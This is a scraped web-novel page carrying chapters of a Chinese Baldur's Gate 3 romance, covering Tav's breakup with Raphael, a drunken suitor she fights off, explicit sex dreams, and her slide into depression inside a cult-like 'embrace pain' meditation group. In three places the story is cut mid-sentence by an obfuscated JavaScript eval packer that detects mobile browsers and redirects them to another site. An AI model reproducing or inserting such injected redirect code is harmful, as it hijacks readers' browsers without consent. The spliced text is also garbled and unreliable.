d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808946|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现自己来到两人同居的房子前。而塔夫当然也已经搬走了。 听完矮人婆婆的描述,他只回复说:“请每周打扫一次。” 想到什么,他又立刻转身回去,仔细检查每一处。 他的衣物仍在,但没有找到塔夫留下的任何东西,除了她的好几根长发。 看上去是边收拾打扫时边掉下的。还有几根黏在他外套肩膀和前襟处,应该是更久之前的。 拉斐尔忍不住微笑起来,把头发慢慢缠在手指上,就好像以前那样,一边抚摸塔夫的头发一边把她的想法也收拢在手里。 他忽然感到心脏像是被什么紧紧勒住。 他居然没有和塔夫正式交换过任何礼物。她会想到他吗。她有没有拿走他的什么作纪念。只要她想,只要她愿意接受,他的一切都是她的。家族宝库中有几块能够记录影像的幻影石,他本来打算这个夏天订婚仪式上使用。他为什么不早点拿出来。他以为他们会一直在一起。 …… 尖锐的切肤之痛。 拉斐尔捂住胸口又看看掌心。 没有血。为什么是红色的。他居然没有发觉自己什么时候变成了魔鬼。 拉斐尔做了一个深呼吸,熟练地把这一切压下去,平静地把头发小心收好。 今晚在精灵之歌,阿斯代伦为他准备了一场派对,邀请了不少人,庆祝他恢复单身。 庆祝…… . 暑假结束,塔夫自觉已经调整好心情,带着一丝不安重新回到医学院。 当初令她无比恐慌的传言仿佛投石入水,没有留下任何余波。甚至那个始终冷嘲热讽的小团体,也在她和拉斐尔没有关系后失去了对她的兴趣,或者说更像是对她感到惧怕。 她偶尔仍能收到些或怜悯或好奇的注视。 除了“逼婚失败”,大概还是因为过去某周,博得之口的头条是关于拉斐尔和威尔为米佐拉在暗夜之歌大打出手,据说被毁掉的酒水就有数十万金币之多。而那似乎才更符合人们的期待。 塔夫忍不住去找来报纸。整篇新闻用词浮夸而又妙趣横生,很有哈勒普和阿斯代伦综合在一起的风格。 她把报纸还给档案室,发现自己读到拉斐尔时心情虽然还是会有波动,却似乎已经不再那么难过和痛苦。过去这个夏天,她选择回家真是一个非常明智的决定。她一定能够很快走出来。 为什么那么头版的新闻却连副画像都没有? …… 在适应和调整中度过开学第一周,塔夫生活回到正轨。 接着,拉斐尔再次出现。 在医学院校外的咖啡店。 塔夫望见拉斐尔的侧影时,几乎以为自己看错了。她下意识屏住呼吸,转身便走,顿时又一阵恼火。这里是医学院!是她的地方! 她装作没有看到拉斐尔,选了也早已荣升为自己最喜欢的蓝莓口味玛芬包好当作午餐。拉斐尔却来到她身旁,咬字清晰地说:“请给我一个‘培根’口味的。” 塔夫忍不住哼笑一声。拉斐尔立刻望向她,有些犹豫地慢慢弯起唇。 不等他完成那个微笑,塔夫已经绷着唇推门离开,看都不看他一眼,后来便没有再去过那家店。 . 抽空一点点收拾,塔夫终于在新租的一居室安顿下来,距离那次见到拉斐尔已经过了近一个月。 她为什么要用那次见面做计时的起点?简直毫无道理可言! 塔夫胸口一下烧起一股无名怒火,甚至感到疼痛,却说不清这突如其来的激烈情绪的原因和对象。她手指用力,刚装好的窗帘布被拽掉一半。 那股火又立刻熄灭了。 塔夫把窗帘整个拽下来抱在怀里,望向窗外好一会。 一个人都没有。 说起来,回博德之门后,除了刚回来拿暂存物件的那几次,她一直没有再和影心见一面。 然而,塔夫却得知影心住院了。 . 122.薄暮 “我其实早就意识到这个问题。” 虽然这么说,影心精神状态看上去还不错, “我一直知道自己在依赖酒精。幸好哈尔辛始终在我身边,也支持我来做戒断康复治疗。 “彻底摆脱酒瘾是个长期过程,估计得花上好一阵子。不过住院的话顶多再过两周我应该就可以回去,以后定期参加互助会就足够了。” 她最后笑着对塔夫说, “谢谢你特意来看我,这里离博德之门还挺远的呢。” . 与哈尔辛离开治疗中心,塔夫甚至有冲动想要向他道歉: 作为影心的朋友和室友,自己本可以早一点发现,更及时地劝阻她。 可哈尔辛是与影心最亲密的人,同她住在一起,只会对她的情况更了解。如果自己说这种情绪化的自责,对哈尔辛也会是一种攻击,至少是不体谅。塔夫最后只是安慰哈尔辛,说相信影心一定会很快好起来。 “谢谢你。”哈尔辛说,“也替我再次谢谢拉斐尔。” “什……?”塔夫没能控制住自己的面部表情,轻咳一声。 哈尔辛也顿了下,不过没说什么,点点头便同她道别离开。 . 塔夫很清楚如何找到拉斐尔。 她甚至不无好笑地猜测,如果她今晚在门口贴张便签说想要见他,说不定明天早上一打开门就能看到他站在门外。 忽然,她又不知道这想法好笑在哪里。过了一整个夏天,她居然还是能这么自然地想起拉斐尔,被他挑起情绪,这简直让她鄙夷自己。 尽管如此…… . 塔夫没有在咖啡店里找到拉斐尔。 她在店外摊开书坐着等了会,发现自己完全无法看进去一个字,只能四下张望。这让她再次莫名生出一股恼火,愤愤合上书离开,还没转过街角便被一个人捉住手臂: “在找我吗,塔夫?” “哈勒普?!” “居然一下就被看出来。”哈勒普用拉斐尔的脸摆出他绝对不会做的神情,用拉斐尔的声音说出他绝对不会说的话, “这可是让我很没面子。”他唔一声,“跟我来。这里有些太过人来人往。” 塔夫略一犹豫就抽出胳膊:“请代我向拉斐尔道谢。无论他帮了影心或者哈尔辛什么。” “塔夫……” 塔夫怔住。 她肯定对方仍是哈勒普,但这句话却明显是拉斐尔说的。 只是叫她的名字。 塔夫心脏狠狠跳了下,又立刻用指甲重重掐在自己掌心。 她不能表现得不理智或者软弱或者还在乎,让自己都瞧不起自己。 哈勒普朝她笑着眨眨眼睛。塔夫咽了咽口水,终于还是跟在哈勒普身后飞快来到一条后巷,路上直接干脆地拒绝了拉斐尔希望和她面对面细说的请求。 “有什么话现在说就好。”她重新站定。 哈勒普,或者说拉斐尔却始终沉默。 塔夫等了一会,已经能够很镇静地回答说:“我知道了。” “之前的某条头版新闻不是真的。”拉斐尔终于开口,声音明显有些喘,“我并没有为米佐拉同威尔争风吃醋。” “这件事跟我有什么关系?” “我不希望你误会。” 对话与过去重叠,塔夫胸口再次涌上分不清的情绪,但其中肯定有痛苦和难过:“我用什么立场去误会?你忘了吗拉斐尔,我们分手了。” “我们……”拉斐尔停顿片刻,“我们还可以做朋友。我们了解彼此。很多。我们会是很好的朋友。我们一直是很好的朋友。” 那痛苦开始令塔夫感到愤怒,不仅是对拉斐尔,还对她自己。 拉斐尔显然是在刻意提醒自己曾经发生的事,一次两次强迫她回忆过去关系的点滴。 她刚才明明反复提醒自己,却仍只是因为听到拉斐尔的声音,听他说不过短短几句话,就如此心情激荡。同两年前的夏天一样,她刚建起的防护被拉斐尔轻松踢掉一块,再次露出期待来。 她还在期待什么? 而且她本不需要这些防护! 塔夫在心里这样劝说自己。 如果没有拉斐尔,她仍会顺利进入医学院,但她一定能够正常交到朋友,而不是哪怕她直接说自己和拉斐尔已经没关系,接近她的人还是会很快在某一个时刻提到“贵族”之类的话题。 她始终只是对方结识拉斐尔或者好奇贵族的桥梁。至于桥梁本身到底是木头还是砖石没人感兴趣。 她始终在他的阴影中。 分手是他,做朋友也是他。 他居然还想让她在他身边,居然还想让她对两人的关系抱有希望,这简直是她能所想到的最卑鄙的冷酷和残忍! “不,我也不想做‘拉斐尔的朋友’。 “你竟然能对我说出这种话,还好意思提出这种要求。我不想再和你有任何交集。请你别再出现在我眼前,或者通过我的朋友提醒我你的存在。我简直后悔认识你。” . 马厩里,拉斐尔身子僵住。一动不动了很久。 骝色骏马奇怪地转过头,想知道为什么主人停止为它佩戴鞍具。 拉斐尔垂下手,睫毛遮住眼睛,最后只说:“不需要了。哈勒普。” . 从陌生人, 到朋友, 到恋人, 最后重新变成陌生人。 但这次,我拥有同你在一起的回忆。 . 这个冬天,塔夫留在了博德之门。 除了继续在内蒂医生的诊所帮忙,她还经常与影心小聚,特别是当哈尔辛出城的时候。 当然,两人现在点的都是不含酒精的饮料。 影心情绪比之前要低落,看上去总是很疲乏。但塔夫已经从哈尔辛那里得知,这是正常的戒断症状。而且不再强作无事后,影心也向她诉说了更多。 对于父母的过度保护甚至控制,她从服从,到质疑,到反抗: “可我会下意识或有意识地选择他们反对的行为,比如一开始喝酒,仿佛这就是一种抗争。 “然而换一个角度来看,我始终是在用他们的立场做参考,出发点是为了‘反对他们’,所以仍是在受他们影响。 “每当我意识到这个念头后,又觉得杯子里的酒是我唯一能够把握的东西,也是麻痹这种想法的唯一方法,不知不觉就陷入恶性循环,没有办法走出来。” “你已经走出了第一步。”塔夫鼓励影心,“当然也能重新开始。” 然而,她自己心里却也一凛。 回到博德之门后,她似乎始终把拉斐尔当作某种参考的基准点。 最近,一位新加入伽马学社的一年级学弟乔纳总是凑过来和她聊天。他是从南方安姆来的,这让塔夫下意识对他有些抵触。因为和拉斐尔的那次冬季旅行。 与此同时,她也不自觉地把乔纳和拉斐尔放在一起比较。 乔纳长得好,人聪明,听说家世也优秀。 然而没有拉斐尔好。 比如他毛躁性急没有分寸,她不过说一句自己去过安姆,他就激动地一把抓住她的手,后来更是有意无意地与她肢体接触。虽然拉斐尔在她面前偶尔会幼稚得要命,但从一开始就…… 塔夫阻止自己继续用拉斐尔做基准点。 乔纳会如此,是因为安姆人更加热情。 拉斐尔才是忸怩墨迹,简直讨厌死了! 于是在乔纳第三次热情地邀请她一起去某个新年活动后,尽管地点是在她平时会因为拉斐尔想要避开的精灵之歌,塔夫心里转过影心的话,决定不能再受拉斐尔的影响,便答应了。 . 当塔夫意识到这想法的矛盾之处时,已经身处这个几乎是年轻人社交性质的派对上,又在最后一次同拉斐尔联系的三个月后,再次撞到了他。 不过这次更像是她特意为见他而来,毕竟拉斐尔会出现在这里简直再正常不过。 塔夫不清楚拉斐尔是什么时候到的(这让她有点自得,仿佛赢了什么),彼时她和乔纳应该已经待了挺长时间。她从盥洗室出来经过吧台时,众人忙不迭避开一位明显是要去呕吐的醉鬼,突然而至的推挤中,她被撞着贴到一人背上。 “抱歉!” 那人回过头,居然是拉斐尔。 塔夫心里闪过某种情绪,大概是得意。她刚才没有分辨出那是拉斐尔的后背和体温。 她已经忘掉他了。 拉斐尔望着她,琥珀色的眼睛仿佛在熠熠发光。 周围忽然安静下来,塔夫能清楚地听到自己的心跳越来越快,甚至想要拥抱他。可拉斐尔已经转过头,端起手中方杯喝一口又放下,原本站倚在吧台旁,变成靠坐在高脚凳上,像是根本没认出她。 塔夫一下子觉得没劲透了,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815267|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步找到乔纳。 他喝了不少酒,性格中的热情已经转变成一种更加明显的攻击性与侵略性,见她回来忽然搂住她肩膀,跟正聊天的人介绍说:“跟我一起来的妞。” 塔夫愈发不舒服,拨开乔纳的手,正想说自己准备先离开,对面那人却认出她:“塔夫团长?!”居然又是一个学弟。屋顶上的猫剧团的道具学弟。他一下咧开嘴,露出两排牙齿,笑容显得格外真诚,“之前一千金币的支票是团长给我们的吗?我们一直都在猜呢!萝拉和泽希诺说肯定是你!但威尔说不一定。” “是我。”塔夫听到一个个熟悉的名字,被感染着也笑起来。 去年夏天因为同拉斐尔分手,她没有回博得安大学参加校友日活动,此时见到道具学弟,忍不住问起上次演出情况,又好奇他们接下来这个夏天准备排什么剧。 两个人很快聊得兴高采烈,乔纳在一旁面色慢慢变得阴沉。 他喝完杯中最后一口酒,说需要去吧台再弄一杯,却直接把塔夫也一起拖走。他动作突然,塔夫吃了一惊,就听乔纳大着舌头道:“你果然跟传闻中一样。卖弄……” “什么传闻?你在说什么?” 塔夫反应过来,只觉得喉间一阵恶心,甩开乔纳,转身取了大衣就走。 没想到这个时候已经没有出租马车等候,塔夫裹紧围巾和衣领快步走过两条街道,听到身后响起脚步声,顿时懊恼也许应该等在精灵之歌外。 “我不需要你送。”她转过身,思忖现在回去也来得及。 乔纳显然喝醉了,话语粗鄙得毫无掩饰: “我本来以为,拉斐尔睡过的女人也不过如此,原来还有这种让人念念不忘的魅力? “你特意在他背上贴那么一下,他就连站起来都不敢,手也始终放在裤袋里拿不出来。” 塔夫先是怔住,又立刻被这话里的下流意味震到。 乔纳一脸狎昵,继续问:“想不想和我试试,看看是他更好还是我更好?” 哪有那么多莫名其妙的好感。乔纳接近她只是为了可以吹嘘试过拉斐尔曾经的女友,又把她当成某种工具,通过她来与拉斐尔攀比? 塔夫觉得讽刺极了。她不想把乔纳与拉斐尔比较,可对方自己很乐意比呢,还把她拖下水! “好啊。”她弯起眼睛。 乔纳愣住。 塔夫微微偏下头,声音放软:“你不想试试吗?在等什么?” “呵。”乔纳挑下眉,朝塔夫走来,刚要张开手拥抱亲吻她,却被塔夫一下紧紧揪住脑后头发,接着下巴上被重重一推,干脆利落地推倒在地,弓起身哀嚎一声,“啊——!” 塔夫不客气地在他胯间再补一脚,可惜这次只踢在他手背上:“你是只有喝醉了才敢说这些话是吗?肮脏愚蠢的胆小鬼!离春天还有几个月呢,你冲我发的哪门子情!” 乔纳疼得大声咒骂,塔夫正准备在他膝弯里踹几下,忽然望见拉斐尔就在一旁,顿时有些讪讪。 她刚才表情没有很狰狞吧。 不知道拉斐尔看去听去多少。 这么一回忆,塔夫目光不由得移向拉斐尔腿间。他穿的深色西裤,看不出来什么,也许是有点紧绷但他好像一向如此。方才定然只是乔纳的荤话。 塔夫猛然意识到自己的目光很不妙,在乎这些也很奇怪,连忙重新望向拉斐尔眼睛。他满脸通红地移开视线,连耳尖都开始泛红。 他果然都听到了。 难道那是真的? 他脸红当然只是因为他刚才跑了过来! 或者是因为她太过直接的目光。 他似乎真的撑起得明显了…… 塔夫措手不及,呆在原地,脸颊也一下变得滚烫。 怎么办。 好尴尬。 为什么偏偏要在拉斐尔面前出丑。 他跑出来做什么?明明装作一副不认识她的样子…… 而且既然来了,为什么不说点什么? 她为什么要期待他对自己说点什么…… 好在始作俑者乔纳这时晃悠悠地直起身,挡住她的目光也阻隔住窘迫。然而他立刻被拉斐尔从身后踢中,再次倒在地上,哀嚎声更加撕心裂肺:“啊啊——!” 塔夫绷起脸,借机迅速转身跑开。 拉斐尔望着她背影消失在转角,俯到乔纳耳旁,阴森森道:“既然你这么好奇,不如直接跟我试试好了。” . 123.子夜 塔夫加快脚步,却还是在大门前被拉斐尔追了上来。 慌乱中她怎么也找不到钥匙,被拉斐尔从身后牢牢抵在门上。 他身体滚烫,刚才的撑起紧紧贴在她腰间,随着一声轻脆的金属碰撞声,低沉喑哑的嗓音同湿热的呼吸一起落在她耳旁:“你是在找这个吗?” 她居然把钥匙落在了刚才的派对上! 她可真是个小机灵鬼(划去)马虎鬼呢! “谢、谢谢。”塔夫结结巴巴地说,“谢谢你特意为我送来。” 拉斐尔微微俯身顶在她臀后,声音更加沙哑:“只是口头的感谢可不够。” 又一阵金属脆响,门被不耐烦地推开,“咣”得撞在墙上又“碰”得在身后闭合。两声巨响之间,塔夫脚下一空,被拦腰抱起,又仰面摔倒在床上。下一刻拉斐尔整个人便压了过来,眼神晦暗却隐隐泛着金色,结实的腰肢挤进她双腿,用力吻住她,舌头直接撬开她齿关,手也探进衣摆抚摸起来。 塔夫呼吸很快变得急促,拉斐尔弯下身,把她裙子推高。 “你很喜欢我吻你这里,对吗?”他仔细吮吻一会后停下来,不紧不慢地舔去唇边水渍, “告诉我,你希望我怎么做?” 塔夫终于不耐地呻吟起来,手胡乱向他抓着。 “啊,我知道了。”拉斐尔叹息。 他毫不犹豫地放入拼图的最后一块,无比契合,没有分毫空隙。 塔夫的呼吸一下卡在喉咙里,又长长叹出一口气。 “你怎么能就这么离开我。”拉斐尔低声说。 “你难道真的就放下了吗?”拉斐尔声音带上颤抖。 “你明明还对我念念不忘!”拉斐尔忽然发起狠来。 呼吸交错,四肢纠缠。 两人做了个昏天暗地。 …… 塔夫:…… 塔夫:!? 这都是些什么既真实又乱七八糟的梦!? . 塔夫醒来后忍不住短暂地沉浸回味了下,接着感到一阵失落,连忙告诫自己这不能说明什么。 直到她晚上再次梦见拉斐尔。 这次梦里,她直接回到了派对上。拉斐尔面颊绯红,眼睛湿润,嘴唇诱人地微微张开,低声对她说酒似乎被加了料,恳求她帮忙纾解。 于是,在隐秘无人在意但又绝对仍是公共场合的派对角落,她趁火打劫地(划去)乐于助人地抱住拉斐尔的脖子,跨坐到他腿上。拉斐尔在她耳旁克制地一下一下低喘着,却让她忍不住欺负他更狠一些,直到他很快无法控制地从喉咙和胸腔中发出低沉响亮的声音。 …… 塔夫:…… 塔夫:这到底是怎么一回事!?她到底是有什么问题!? . 塔夫把乔纳的事告诉了影心,自然没说春梦,却不小心或者不得不提到拉斐尔。 要知道,回博德之门后她格外注意避开和他有关的任何事,包括提起他。塔夫觉得自己的程度与影心相比要轻得多,没必要烦扰朋友,影心却直接指出其中的相似之处。 塔夫辩解:“这也是为了创造一种距离和缓冲,避免再受到刺激。而且我去年夏天回农场后,已经彻底释放掉所有不好的情绪了。” 影心耸耸肩,表示她没有刻意回避到逃避的程度就好。 塔夫沉默。 她希望干脆利落地切割,也的确是这么做了,为什么却没有预期中的效果。 …… 开学一个月后,塔夫终于能够把乔纳事件的结局告诉影心: “他退出了伽马学社,似乎一直在躲着我。我上周撞见他一次,他表现得简直像是青蛙见到了蛇。” 影心十分开心:“这绝对值得我们干一杯!” 塔夫:“?!” 影心:“我开玩笑的。是喝果汁!” 影心戒酒已经整整八个月,而塔夫也像是终于下定什么决心,向她问起哈尔辛当初感谢拉斐尔的事。 除了一起在赛艇队训练比赛,拉斐尔与哈尔辛还在大学最后一个学期四人约会好几次,毕业后也因为塔夫和影心的关系始终保持书信往来,虽然并不频繁,却也一直没有中断。 “我其实有些意外。”影心停顿片刻又道,“不过从结果来看,去那家治疗中心住院是正确的选择,如果没有最开始的一个月,我可能会陷入反复。” 不过一句话的功夫,塔夫已经再次踌躇起要不要联系拉斐尔向他道谢或者……她也不知道联系了之后要做什么又能做什么。 影心望着她,忽然晃晃杯子:“我最近喝果汁的一个发现!如果这杯果汁是你的生活,过去的一些不太好的事就像是冰块,你以为它们随着时间消失了,但它们其实只是融化了。” 塔夫点点头:“所以应该更及时的把冰块拿出来。” “我的意思是,它们会一直在杯子里,哪怕你看不到它们了。”影心笑了下,“听上去好像有点糟糕,不过你可以倒更多的果汁,或者让杯子变大。” 塔夫思索一会,却不知道如何定义与拉斐尔的那段关系,是冰块,还是果汁,抑或是两者都是,说不定还让她的杯子变大了。她更吃惊地发现自己会忽然这么想念拉斐尔,想和他聊天,聊影心的这个比喻,讨论二人的关系,或者哪怕随便说点什么。这让她鼻子一阵发酸。 于是她吸了下鼻子,又轻咳一声,回复影心说:“我好像听懂了,却更加混乱了。” 影心微笑道:“反正你知道关键在冰块没办法彻底消失就好啦。” . 塔夫最后还是没有联系拉斐尔。 不过她更坦然地接受了自己的生活还是会受到拉斐尔影响,也接受了那些让她面红耳赤的梦。而随着时间的推移,她越来越少梦到他,只是醒来时偶尔会感到……也许是遗憾。 . 夏天再次到来。 塔夫在第二次综合测试也拿到最好成绩,向成为全科医生又迈出一步。 此外还有另一件让她感到愉快的事: 她只犹豫了一瞬,就决定参加博得安大学今年的校友日。因为她自己想要回去看看,同时打算做最后一次充满象征意义的道别,与拉斐尔的关系做一个正式了断。 . 校友日第一天,塔夫先在小剧院观看了屋顶上的猫最终排演。 那是一部恋爱喜剧,四位主角排列组合,女女、男男、男女、女男一网打尽,更有三人行任君挑选,最后干脆四人一起,令人大呼长了见识(?)。 果然是泽希诺一己推荐的剧本。 “我今年就要毕业了嘛!”泽希诺又拍着胸脯保证,“放心,没有血缘关系,就是单纯的继姐弟,咳,至少明面上是这样。来,我跟你悄悄透露一些伏笔暗示,再给你推荐一些类似的特别好看的故事……” “你还没有放弃啊!”塔夫哭笑不得。 话虽如此,第二天正式演出时她津津有味地又看一遍,成功找到更多细节,大呼过瘾,并决定回去有空把泽希诺推荐的故事都找来读一读。 演出结束后,塔夫随观众离席,在望见出口时十分熟稔地向左边拐了个弯,来到剧团募集箱和捐款意向登记处。 她明明既没有刻意寻找也没有刻意不去寻找拉斐尔,却还是就这样遇见他。 也许是因为刚才那出剧的影响,塔夫心情不错地朝拉斐尔弯了弯唇。他怔了下,也点点头示意,为她让出空间,却没有离开的意思,目光也始终落在她身上。 塔夫听到自己的心跳慢慢加快,一咬牙,还是按最开始的计划,拿出那张一直小心翼翼保存着的一千金币支票,留下自己和拉斐尔的名字,对激动不已的学生笑着说:“我也曾是屋顶上的一只猫。” 结束象征意义的道别,塔夫转身离开。拉斐尔沉默跟在她身后,直到重新来到剧院外,才开口发出和以前相同的邀请:“一起走走?” 塔夫同一时刻低着头开口道:“拉斐尔,我想要谢谢你。” 不等拉斐尔回复什么,她已经继续说了下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818616|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“谢谢你去年帮助影心和哈尔辛,还有今年新年的时候……” “他们也是我的朋友。”拉斐尔打断她,语气强烈带着明显不悦,“而我也受到了侮辱。” 他那句话像是隐含别的意思,塔夫抬头望向拉斐尔。他正紧紧盯着她,眼瞳颜色晦暗却又带着金色,像是不远处的冲萨河,在夜里暗沉沉地反射着校园里的灯火,看上去既压抑又愤怒。 塔夫忽然想起晚上的一个个梦,与面前的拉斐尔重叠。她心脏跳得更加剧烈,像是恨不得要跳出胸膛,跳到拉斐尔怀里,下意识往后退了半步。 拉斐尔猛地别开视线,深深呼了一口气,再看向她时语气已经恢复平稳镇静,甚至弯了弯唇:“我也要感谢你,刚才以我的名义捐款。” “那本来就是你的……” “那是你的。始终是你的。对了,我还没有对你说一句恭喜。” “什……?” “虽然你不是我的朋友,但我仍是你的朋友。恭喜你拿到综合测试最高评级,希望你接下来的实习也能够顺利。” “拉……” “在医院遇到什么麻烦可以找我。或者有什么需要。任何事。这是我的通信地址。” 拉斐尔抓住她手腕,手指颤了下,迅速在她掌心塞进一张折了两折的小纸片,没再停留一刻。 简直像是害怕她有机会拒绝一样。 . 塔夫没能扔掉那张纸。 回去展开后,她果然在其中看到两人同居时的地址。居然还是写在一张空白支票的背面。塔夫叹了口气,翻来覆去摩挲半天,终于小心收好,放在之前的同一个位置。 她再次梦到了拉斐尔。 . 塔夫醒来后躺了好久。 明明已经一年了。 冰块为什么还没有化。 真的有化掉的可能吗? . 但事情没有塔夫想象的那么糟。 医院临床实习很快便向她的杯子里注入大量新鲜果汁。 每天睁开眼睛后的大部分时间都是在医院度过,她按课程要求在不同科室跟着不同医生轮岗,每班八至十二个小时,但经常会更久。 有一次进手术室,因为病人情况紧急而又复杂,加上之前实习的时间,她在医院足足待满了二十四个小时。病人终于转危为安,家属的喜极而泣让她觉得所有的辛苦都如此值得,被满足和成就充盈,回去后睡得很沉,根本没有精力再去想什么冰块还是拉斐尔。 塔夫便主动要求更多工作,不仅缩减调休时间,每年四周的休假更是一天也没有用。 查房记录、病史缮写、每周一次的床边教学和病例讨论…… 忙碌充实中塔夫第一次问诊,第一次写处方,在又一次新年到来时,临时被叫去帮助,接生了第一个孩子。 那是位看上去强壮坚定的矮人母亲,宫缩阵痛时还能与护士说笑,却在分娩开始后发出无比痛苦嘶哑的哀鸣:“我不要生了!好疼!我不要生这个孩子了!” 塔夫一瞬无法思考,甚至冻住数秒,被医生大声呵责:“怎么又来一个胆子还没手术刀大的!你是准备晕过去吗?!没人在乎你的那点情绪!要不就给我赶快收好,要不就滚出去换个职业!” 塔夫缓过神,重新找回自己的身体,却仍然被不安甚至恐惧笼罩,双手也止不住地发抖。 也许下一刻,她就会被发现没有资格成为一名医生,被踢出医院。或者因为她,让这个孩子一出生就被抛弃。 她不能让这件事发生。塔夫做了一个深呼吸,强迫自己迅速冷静下来。 孩子的啼哭声响起,她一下被疲惫席卷,重新发起抖,却也感到一种几乎是新生般的喜悦。 那位暴躁的医生也拍拍她肩膀:“你做得很不错。我可以提前称呼你为,塔夫医生。” . 那之后又过三周,塔夫顺利结束创伤科实习,进入外科急诊室。 几天后,第一次面对了死亡。 . 124.黑暗 塔夫睁开眼睛,发现自己无法撑起身。 只是一想到要去医院,她就止不住地打颤。 原来这并不是夸张,人精神紧张到一定程度会直接呕吐。 她还清楚记得那一幕。 她在急诊室里为患者做心肺复苏,与另外两名医生轮换进行胸外按压,做了十几分钟。她记得医生同她确认:“患者是否已经死忙?”她体力透支,后背被汗彻底打湿,无比惊恐。医生不得不提高声音又问一遍。于是她说:“是的。”接着她被赶出急救室,通知患者家属这个消息。 她遵守了规定流程的每一步。 ——首先确认身份。对方的确是患者的丈夫。 ——然后警示对方。“有一个不好的消息要通知你。” ——最后告知事实。“你的妻子在几分钟之前去世了。” “骗子!” 然而那个小个子半身人仿佛脚下装了弹簧,跳起来在她鼻子上狠狠打了一拳,尖声叫道,“她不可能死!我还没跟她道别!你骗我!” 她向后踉跄了两步,一阵天旋地转。 鼻子很疼,闻不到东西,似乎流血了。眼眶里也涌出生理性泪水。但更多的是不知所措。接着耳边响起半身人的尖锐刺耳的嚎哭声。他像是一下失去弹力,整个人软倒在座位上,脸深深埋进手掌里。 …… 塔夫忽然又一阵恶心。 她进入了医学院,她通过了考核,她很快适应了血腥和污秽场面,她没有因为长时间工作身体崩溃精神倦怠,但她却不知道怎么面对这种情况。 她明明很清楚医院里死亡是无法避免的,为什么还会如此。 她感到愧疚,悲伤…… 无能。 她本可以做得更好。 然而她非但没有做得更好,反而越来越恐惧,甚至一望见医院、一想到要面对病人就控制不住地感到恶心。 她难道,并不适合成为医生吗。 她当然得坚持下去。 否则之前的努力和……不就毫无意义了吗。 …… “塔夫医生!” “是!” 塔夫撑起精神。 隔着口罩,鼻腔仍充满消毒水的味道。 她居然又想起这件事,而且又是这种奇怪的模糊的感觉。 ——虽然她记得细节,但回忆起来却并不真切。 毕竟已经过去了四个月。 她分别结束了外科急诊室和抢救室的轮岗,现在在外科重症监护室。 这里病人死亡率更高,有时甚至会达到百分之五十。 塔夫做好准备,赶去病房。 …… 结束又一轮十二小时的工作,她换回自己的衣服,确认时间还差十几分钟晚上八点,刚好来得及,便径直赶到医院附近马鲁斯医生家里的冥想互助小组。 马鲁斯是一名外科医生,皮肤惨白的高等精灵,四肢瘦削但有力,带一副圆框眼镜,最常说的话是:“医学是一门艺术。” 塔夫那天被患者家属击中鼻子后,是马鲁斯在急诊护士赶来前维持秩序,后来又细心地注意到她的心理情况,向她伸出援手。如果没有马鲁斯的帮助,她也许甚至无法撑过外科急诊室的那四周。 塔夫脱下大衣,挂在马鲁斯家一进门的衣钩上。虽然已是初夏,但她总觉得冷。 她走下长长的台阶,推开门。地下室墙壁上贴着厚厚的黑色绒布,身后的门上也是,地板上则铺着黑色的硬毛地毯。房间里唯一的光源是几只紫色烛焰的巨大蜡烛。 除马鲁斯外已经有八九个人,见到她都微微点头致意。 塔夫在一张深紫色的软垫上坐好。 又几人加入后,由马鲁斯带领的特殊冥想练习正式开始: “人无法将痛苦的想法与疲惫和死亡的想法区分开来。事实上,痛苦就意味着一场生死之争。既然死亡是生命内在固有的,那么所有的生命都是一场痛苦。”[1] 马鲁斯嗓音有些尖细,但劝慰时带着温柔的沙哑, “唯有痛苦才能让你感到活着。” “拥抱痛苦。” “痛苦,是女神……的怜悯。” …… 痛苦。 过去几周甚至几个月,塔夫越来越发觉自己有些不对劲。 除了恐惧和紧张,她还一直感到疲倦,焦虑。有的时候躺在床上一动也不想动,什么也感受不到。有的时候只是望见天花板上的一个斑点就会让她有哭泣的念头,忍不住幻想一种极为强烈的极为彻底的痛苦,仿佛只有这样,她才能够获得短暂的安宁。 那几乎是一种想要自毁的冲动。 还好有马鲁斯和互助小组的支持,让她知道自己的这种感受并不是孤独的。 …… 而几天前,在影心的又一次邀约下,塔夫也终于和好久未聚的朋友见了一面。 影心吓了一跳,问她:“你最近是不是太累了?感觉哪里不舒服吗?” 塔夫点点头:“是有些累。” 她摸着面前的果汁,觉得自己的杯子像是被冻住了,甚至分不清冰块和果汁。 “你会有这种感觉吗?”她忽然问影心, “有的时候会很情绪化很低落,就像杯子外面一直滴着水珠。有的时候又冻得结结实实,什么也感觉不到。” 她声音缓缓变得低沉, “让我恨不得能敲碎这整个杯子或者把杯子狠狠摔在地上。 “因为唯有剧烈的痛苦才能让我感到真的活着。” 影心猛地站起身,声音都有些颤抖:“你最近去了哪里?!” “我能去哪儿?”塔夫奇怪,“除了医院,我没时间去别的地方。” “真的只有医院?”影心几乎是逼问,“没有其他什么地方?” 塔夫愣了下:“还有一个冥想互助小组。” 